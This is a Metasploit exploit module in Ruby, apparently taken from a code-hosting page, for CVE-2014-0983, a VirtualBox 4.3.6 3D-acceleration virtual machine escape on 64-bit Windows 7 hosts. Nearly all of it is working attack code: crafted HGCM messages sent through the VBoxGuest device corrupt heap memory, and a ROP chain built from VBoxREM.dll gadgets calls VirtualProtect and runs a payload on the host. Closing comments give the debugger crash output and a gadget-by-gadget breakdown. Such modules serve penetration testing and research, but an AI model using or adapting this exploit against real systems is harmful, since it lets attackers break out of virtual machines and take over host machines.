439 lines
14 KiB
Ruby
439 lines
14 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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Rank = AverageRanking
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DEVICE = '\\\\.\\VBoxGuest'
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INVALID_HANDLE_VALUE = 0xFFFFFFFF
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# VBOX HGCM protocol constants
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VBOXGUEST_IOCTL_HGCM_CONNECT = 2269248
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VBOXGUEST_IOCTL_HGCM_DISCONNECT = 2269252
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VBOXGUEST_IOCTL_HGCM_CALL = 2269256
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CONNECT_MSG_SIZE = 140
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DISCONNECT_MSG_SIZE = 8
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SET_VERSION_MSG_SIZE = 40
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SET_PID_MSG_SIZE = 28
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CALL_EA_MSG_SIZE = 40
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VERR_WRONG_ORDER = 0xffffffea
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SHCRGL_GUEST_FN_SET_PID = 12
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SHCRGL_CPARMS_SET_PID = 1
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SHCRGL_GUEST_FN_SET_VERSION = 6
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SHCRGL_CPARMS_SET_VERSION = 2
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SHCRGL_GUEST_FN_INJECT = 9
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SHCRGL_CPARMS_INJECT = 2
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CR_PROTOCOL_VERSION_MAJOR = 9
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CR_PROTOCOL_VERSION_MINOR = 1
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VMM_DEV_HGCM_PARM_TYPE_32_BIT = 1
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VMM_DEV_HGCM_PARM_TYPE_64_BIT = 2
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VMM_DEV_HGCM_PARM_TYPE_LIN_ADDR = 5
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def initialize(info={})
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super(update_info(info, {
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'Name' => 'VirtualBox 3D Acceleration Virtual Machine Escape',
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'Description' => %q{
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This module exploits a vulnerability in the 3D Acceleration support for VirtualBox. The
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vulnerability exists in the remote rendering of OpenGL-based 3D graphics. By sending a
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sequence of specially crafted rendering messages, a virtual machine can exploit an out
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of bounds array access to corrupt memory and escape to the host. This module has been
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tested successfully on Windows 7 SP1 (64 bits) as Host running Virtual Box 4.3.6.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Francisco Falcon', # Vulnerability Discovery and PoC
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'Florian Ledoux', # Win 8 64 bits exploitation analysis
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'juan vazquez' # MSF module
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],
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'Arch' => ARCH_X64,
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'Platform' => 'win',
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'SessionTypes' => ['meterpreter'],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread'
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},
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'Targets' =>
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[
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[ 'VirtualBox 4.3.6 / Windows 7 SP1 / 64 bits (ASLR/DEP bypass)',
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{
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:messages => :target_virtualbox_436_win7_64
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}
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]
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],
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'Payload' =>
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{
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'Space' => 7000,
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'DisableNops' => true
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},
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'References' =>
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[
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['CVE', '2014-0983'],
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['BID', '66133'],
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['URL', 'http://www.coresecurity.com/advisories/oracle-virtualbox-3d-acceleration-multiple-memory-corruption-vulnerabilities'],
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['URL', 'http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=publication&name=oracle_virtualbox_3d_acceleration']
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],
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'DisclosureDate' => 'Mar 11 2014',
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'DefaultTarget' => 0
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}))
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end
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def open_device
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r = session.railgun.kernel32.CreateFileA(DEVICE, "GENERIC_READ | GENERIC_WRITE", 0, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_NORMAL", 0)
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handle = r['return']
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if handle == INVALID_HANDLE_VALUE
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return nil
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end
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return handle
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end
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def send_ioctl(ioctl, msg)
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result = session.railgun.kernel32.DeviceIoControl(@handle, ioctl, msg, msg.length, msg.length, msg.length, 4, "")
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if result["GetLastError"] != 0
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unless result["ErrorMessage"].blank?
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vprint_error("#{result["ErrorMessage"]}")
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end
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return nil
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end
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unless result["lpBytesReturned"] && result["lpBytesReturned"] == msg.length
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unless result["ErrorMessage"].blank?
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vprint_error("#{result["ErrorMessage"]}")
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end
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return nil
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end
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unless result["lpOutBuffer"] && result["lpOutBuffer"].unpack("V").first == 0
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unless result["ErrorMessage"].blank?
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vprint_error("#{result["ErrorMessage"]}")
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end
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return nil
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end
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result
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end
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def connect
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msg = "\x00" * CONNECT_MSG_SIZE
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msg[4, 4] = [2].pack("V")
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msg[8, "VBoxSharedCrOpenGL".length] = "VBoxSharedCrOpenGL"
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result = send_ioctl(VBOXGUEST_IOCTL_HGCM_CONNECT, msg)
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if result.nil?
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return result
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end
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client_id = result["lpOutBuffer"][136, 4].unpack("V").first
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client_id
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end
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def disconnect
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msg = "\x00" * DISCONNECT_MSG_SIZE
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msg[4, 4] = [@client_id].pack("V")
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result = send_ioctl(VBOXGUEST_IOCTL_HGCM_DISCONNECT, msg)
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result
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end
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def set_pid(pid)
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msg = "\x00" * SET_PID_MSG_SIZE
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msg[0, 4] = [VERR_WRONG_ORDER].pack("V")
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msg[4, 4] = [@client_id].pack("V") # u32ClientID
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msg[8, 4] = [SHCRGL_GUEST_FN_SET_PID].pack("V")
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msg[12, 4] = [SHCRGL_CPARMS_SET_PID].pack("V")
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msg[16, 4] = [VMM_DEV_HGCM_PARM_TYPE_64_BIT].pack("V")
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msg[20, 4] = [pid].pack("V")
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result = send_ioctl(VBOXGUEST_IOCTL_HGCM_CALL, msg)
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result
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end
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def set_version
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msg = "\x00" * SET_VERSION_MSG_SIZE
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msg[0, 4] = [VERR_WRONG_ORDER].pack("V")
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msg[4, 4] = [@client_id].pack("V") # u32ClientID
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msg[8, 4] = [SHCRGL_GUEST_FN_SET_VERSION].pack("V")
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msg[12, 4] = [SHCRGL_CPARMS_SET_VERSION].pack("V")
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msg[16, 4] = [VMM_DEV_HGCM_PARM_TYPE_32_BIT].pack("V")
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msg[20, 4] = [CR_PROTOCOL_VERSION_MAJOR].pack("V")
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msg[28, 4] = [VMM_DEV_HGCM_PARM_TYPE_32_BIT].pack("V")
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msg[32, 4] = [CR_PROTOCOL_VERSION_MINOR].pack("V")
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result = send_ioctl(VBOXGUEST_IOCTL_HGCM_CALL, msg)
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result
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end
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def trigger(buff_addr, buff_length)
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msg = "\x00" * CALL_EA_MSG_SIZE
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msg[4, 4] = [@client_id].pack("V") # u32ClientID
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msg[8, 4] = [SHCRGL_GUEST_FN_INJECT].pack("V")
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msg[12, 4] = [SHCRGL_CPARMS_INJECT].pack("V")
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msg[16, 4] = [VMM_DEV_HGCM_PARM_TYPE_32_BIT].pack("V")
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msg[20, 4] = [@client_id].pack("V") # u32ClientID
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msg[28, 4] = [VMM_DEV_HGCM_PARM_TYPE_LIN_ADDR].pack("V")
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msg[32, 4] = [buff_length].pack("V") # size_of(buf)
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msg[36, 4] = [buff_addr].pack("V") # (buf)
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result = send_ioctl(VBOXGUEST_IOCTL_HGCM_CALL, msg)
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result
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end
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def stack_adjustment
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pivot = "\x65\x8b\x04\x25\x10\x00\x00\x00" # "mov eax,dword ptr gs:[10h]" # Get Stack Bottom from TEB
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pivot << "\x89\xc4" # mov esp, eax # Store stack bottom in esp
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pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # Plus a little offset...
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pivot
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end
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def target_virtualbox_436_win7_64(message_id)
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opcodes = [0xFF, 0xea, 0x02, 0xf7]
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opcodes_hdr = [
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0x77474c01, # type CR_MESSAGE_OPCODES
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0x8899, # conn_id
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opcodes.length # numOpcodes
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]
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if message_id == 2
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# Message used to achieve Code execution
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# See at the end of the module for a better description of the ROP Chain,
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# or even better, read: http://www.vupen.com/blog/20140725.Advanced_Exploitation_VirtualBox_VM_Escape.php
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# All gadgets from VBoxREM.dll
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opcodes_data = [0x8, 0x30, 0x331].pack("V*")
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opcodes_data << [0x6a68599a].pack("Q<") # Gadget 2 # pop rdx # xor ecx,dword ptr [rax] # add cl,cl # movzx eax,al # ret
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opcodes_data << [112].pack("Q<") # RDX
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opcodes_data << [0x6a70a560].pack("Q<") # Gadget 3 # lea rax,[rsp+8] # ret
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opcodes_data << [0x6a692b1c].pack("Q<") # Gadget 4 # lea rax,[rdx+rax] # ret
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opcodes_data << [0x6a6931d6].pack("Q<") # Gadget 5 # add dword ptr [rax],eax # add cl,cl # ret
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opcodes_data << [0x6a68124e].pack("Q<") # Gadget 6 # pop r12 # ret
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opcodes_data << [0x6A70E822].pack("Q<") # R12 := ptr to .data in VBoxREM.dll (4th argument lpflOldProtect)
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opcodes_data << [0x6a70927d].pack("Q<") # Gadget 8 # mov r9,r12 # mov r8d,dword ptr [rsp+8Ch] # mov rdx,qword ptr [rsp+68h] # mov rdx,qword ptr [rsp+68h] # call rbp
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opcodes_data << Rex::Text.pattern_create(80)
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opcodes_data << [0].pack("Q<") # 1st arg (lpAddress) # chain will store stack address here
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opcodes_data << Rex::Text.pattern_create(104 - 80 - 8)
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opcodes_data << [0x2000].pack("Q<") # 2nd arg (dwSize)
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opcodes_data << Rex::Text.pattern_create(140 - 104 - 8)
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opcodes_data << [0x40].pack("V") # 3rd arg (flNewProtect)
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opcodes_data << Rex::Text.pattern_create(252 - 4 - 140 - 64)
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opcodes_data << [0x6A70BB20].pack("V") # ptr to jmp VirtualProtect instr.
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opcodes_data << "A" * 8
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opcodes_data << [0x6a70a560].pack("Q<") # Gadget 9
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opcodes_data << [0x6a6c9d3d].pack("Q<") # Gadget 10
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opcodes_data << "\xe9\x5b\x02\x00\x00" # jmp $+608
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opcodes_data << "A" * (624 - 24 - 5)
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opcodes_data << [0x6a682a2a].pack("Q<") # Gadget 1 # xchg eax, esp # ret # stack pivot
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opcodes_data << stack_adjustment
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opcodes_data << payload.encoded
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opcodes_data << Rex::Text.pattern_create(8196 - opcodes_data.length)
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else
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# Message used to corrupt head_spu
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# 0x2a9 => offset to head_spu in VBoxSharedCrOpenGL.dll .data
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# 8196 => On my tests, this data size allows to keep the memory
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# not reused until the second packet arrives. The second packet,
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# of course, must have 8196 bytes length too. So this memory is
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# reused and code execution can be accomplished.
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opcodes_data = [0x8, 0x30, 0x331, 0x2a9].pack("V*")
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opcodes_data << "B" * (8196 - opcodes_data.length)
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end
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msg = opcodes_hdr.pack("V*") + opcodes.pack("C*") + opcodes_data
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msg
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end
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def send_opcodes_msg(process, message_id)
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msg = self.send(target[:messages], message_id)
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mem = process.memory.allocate(msg.length + (msg.length % 1024))
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process.memory.write(mem, msg)
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trigger(mem, msg.length)
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end
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def check
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handle = open_device
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if handle.nil?
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return Exploit::CheckCode::Safe
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end
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session.railgun.kernel32.CloseHandle(handle)
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Exploit::CheckCode::Detected
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end
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def exploit
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unless self.respond_to?(target[:messages])
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print_error("Invalid target specified: no messages callback function defined")
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return
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end
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print_status("Opening device...")
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@handle = open_device
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if @handle.nil?
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fail_with(Failure::NoTarget, "#{DEVICE} device not found")
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else
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print_good("#{DEVICE} found, exploiting...")
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end
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print_status("Connecting to the service...")
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@client_id = connect
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if @client_id.nil?
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fail_with(Failure::Unknown, "Connect operation failed")
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end
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print_good("Client ID #{@client_id}")
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print_status("Calling SET_VERSION...")
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result = set_version
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if result.nil?
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fail_with(Failure::Unknown, "Failed to SET_VERSION")
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end
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this_pid = session.sys.process.getpid
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print_status("Calling SET_PID...")
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result = set_pid(this_pid)
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if result.nil?
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fail_with(Failure::Unknown, "Failed to SET_PID")
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end
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this_proc = session.sys.process.open
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print_status("Sending First 0xEA Opcode Message to control head_spu...")
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result = send_opcodes_msg(this_proc, 1)
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if result.nil?
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fail_with(Failure::Unknown, "Failed to control heap_spu...")
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end
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print_status("Sending Second 0xEA Opcode Message to execute payload...")
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@old_timeout = session.response_timeout
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session.response_timeout = 5
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begin
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send_opcodes_msg(this_proc, 2)
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rescue Rex::TimeoutError
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vprint_status("Expected timeout in case of successful exploitation")
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end
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end
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def cleanup
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unless @old_timeout.nil?
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session.response_timeout = @old_timeout
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end
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if session_created?
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# Unless we add CoE there is nothing to do
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return
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end
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unless @client_id.nil?
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print_status("Disconnecting from the service...")
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disconnect
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end
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unless @handle.nil?
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print_status("Closing the device...")
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session.railgun.kernel32.CloseHandle(@handle)
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end
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end
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end
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=begin
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* VirtualBox 4.3.6 / Windows 7 SP1 64 bits
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Crash after second message:
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0:013> dd rax
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00000000`0e99bd44 41306141 61413161 33614132 41346141
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00000000`0e99bd54 61413561 37614136 41386141 62413961
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00000000`0e99bd64 31624130 41326241 62413362 35624134
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00000000`0e99bd74 41366241 62413762 39624138 41306341
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00000000`0e99bd84 63413163 33634132 41346341 63413563
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00000000`0e99bd94 37634136 41386341 64413963 31644130
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00000000`0e99bda4 41326441 64413364 35644134 41366441
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00000000`0e99bdb4 64413764 39644138 41306541 65413165
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0:013> r
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rax=000000000e99bd44 rbx=0000000000000001 rcx=000007fef131e8ba
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rdx=000000006a72fb62 rsi=000000000e5531f0 rdi=0000000000000000
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rip=000007fef12797f8 rsp=0000000004b5f620 rbp=0000000041424344 << already controlled...
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r8=0000000000000001 r9=00000000000005c0 r10=0000000000000000
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r11=0000000000000246 r12=0000000000000000 r13=00000000ffffffff
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r14=000007fef1f90000 r15=0000000002f6e280
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iopl=0 nv up ei pl nz na po nc
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cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
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VBoxSharedCrOpenGL!crServerAddNewClient+0x208:
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000007fe`f12797f8 ff9070030000 call qword ptr [rax+370h] ds:00000000`0e99c0b4=7641397541387541
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Gadget 1: Stack Pivot # 0x6a682a2a
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xchg eax,esp 94
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ret c3
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Gadget 2: Control RDX value # 0x6a68599a
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pop rdx 5a
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xor ecx,dword ptr [rax] 33 08
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add cl,cl 00 c9
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movzx eax,al 0f b6 c0
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ret c3
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Gadget 3: Store ptr to RSP in RAX # 0x6a70a560
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lea rax,[rsp+8] 48 8d 44 24 08
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ret c3
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Gadget 4: Store ptr to RSP + RDX offset (controlled) in RAX # 0x6a692b1c
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lea rax,[rdx+rax] 48 8d 04 02
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ret c3
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Gadget 5: Write Stack Address (EAX) to the stack # 0x6a6931d6
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add dword ptr [rax],eax 01 00
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add cl,cl 00 c9
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ret c3
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Gadget 6: Control R12 # 0x6a68124e
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pop r12
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ret
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Gadget 7: Recover VirtualProtect arguments from the stack and call it (ebp) # 0x6a70927d
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mov r9,r12 4d 89 e1
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mov r8d,dword ptr [rsp+8Ch] 44 8b 84 24 8c 00 00 00
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mov rdx,qword ptr [rsp+68h] 48 8b 54 24 68
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mov rcx,qword ptr [rsp+50h] 48 8b 4c 24 50
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call rbp ff d5
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Gadget 8: After VirtualProtect, get pointer to the shellcode in the # 0x6a70a560
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lea rax, [rsp+8] 48 8d 44 24 08
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ret c3
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Gadget 9: Push the pointer and provide control to shellcode # 0x6a6c9d3d
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push rax 50
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adc cl,ch 10 e9
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ret c3
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=end
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